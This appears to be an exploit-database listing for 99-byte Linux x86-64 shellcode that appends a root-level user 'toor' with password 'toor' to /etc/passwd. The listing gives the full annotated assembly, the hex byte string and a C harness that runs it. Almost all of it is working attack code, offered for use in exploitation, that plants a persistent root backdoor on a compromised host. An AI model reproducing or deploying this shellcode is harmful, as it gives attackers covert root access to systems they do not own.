Linux/x64 add root user (toor/toor) shellcode (99 bytes) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2018-08-13 | Type : shellcode | Platform : linux_x86-64

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[+] Code ...

; Title: add root user (toor:toor)
; Date: 20180811
; Author: epi <epibar052@gmail.com>
; https://epi052.gitlab.io/notes-to-self/
; Tested on: linux/x86_64 (SMP CentOS-7 3.10.0-862.2.3.el7.x86_64 GNU/Linux)
;
; Shellcode Length: 99 bytes
; Action: Adds a user into /etc/passwd with the following information
; username: toor
; password: toor
; uid: 0
; gid: 0
; home: /root
; shell: /bin/sh
;
; toor:sXuCKi7k3Xh/s:0:0::/root:/bin/sh

global _start

section .text
_start:
; #define __NR_open 2
; int open(const char *pathname, int flags);
; rax -> 2
; rdi -> /etc/passwd
; rsi -> 0x401
;
; >>> hex(os.O_WRONLY ^ os.O_APPEND)
; 0x401
xor ebx, ebx
mul ebx ; rax|rdx -> 0x0
push rax
mov ebx, 0x647773ff ; swd
shr ebx, 0x08
push rbx
mov rbx, 0x7361702f6374652f ; /etc/pas
push rbx
mov rdi, rsp ; rdi -> /etc/passwd
xchg esi, edx ; swap registers to zero out rsi
mov si, 0x401 ; rsi -> O_WRONLY|O_APPEND
add al, 0x2 ; rax -> 2 (open)
syscall ; open

xchg rdi, rax ; save returned fd

jmp short get_entry_address ; start jmp-call-pop

write_entry:
; #define __NR_write 1
; ssize_t write(int fd, const void *buf, size_t count);
; rax -> 1
; rdi -> results of open syscall
; rsi -> user's entry
; rdx -> len of user's entry
pop rsi ; end jmp-call-pop, rsi -> user's entry
push 0x1
pop rax ; rax -> 1
push 38 ; length + 1 for newline
pop rdx ; rdx -> length of user's entry
syscall ; write

; #define __NR_exit 60
; void _exit(int status);
; rax -> 60
; rdi -> don't care
push 60
pop rax
syscall ; OS will handle closing fd at exit

get_entry_address:
call write_entry
user_entry: db "toor:sXuCKi7k3Xh/s:0:0::/root:/bin/sh",0xa
; if the user_entry above is modified, change the _count_ argument in the write call to match the new length
; openssl passwd -crypt
; Password: toor
; Verifying - Password: toor
; sXuCKi7k3Xh/s

; Skeleton for testing
;
; gcc -fno-stack-protector -z execstack shellcode-skeleton.c -o shellcode-skeleton
;
; #include <stdio.h>
; #include <string.h>
;
; unsigned char shellcode[] = \
; "\x31\xdb\xf7\xe3\x50\xbb\xff\x73\x77\x64\xc1\xeb\x08\x53\x48\xbb\x2f\x65\x74\x63\x2f\x70\x61\x73\x53\x48\x89\xe7\x87\xf2\x66\xbe\x01\x04\x04\x02\x0f\x05\x48\x97\xeb\x0e\x5e\x6a\x01\x58\x6a\x26\x5a\x0f\x05\x6a\x3c\x58\x0f\x05\xe8\xed\xff\xff\xff\x74\x6f\x6f\x72\x3a\x73\x58\x75\x43\x4b\x69\x37\x6b\x33\x58\x68\x2f\x73\x3a\x30\x3a\x30\x3a\x3a\x2f\x72\x6f\x6f\x74\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a";
;
; int main() {
; printf("Shellcode length: %zu\n", strlen(shellcode));
; int (*ret)() = (int(*)())shellcode;
; ret();
; }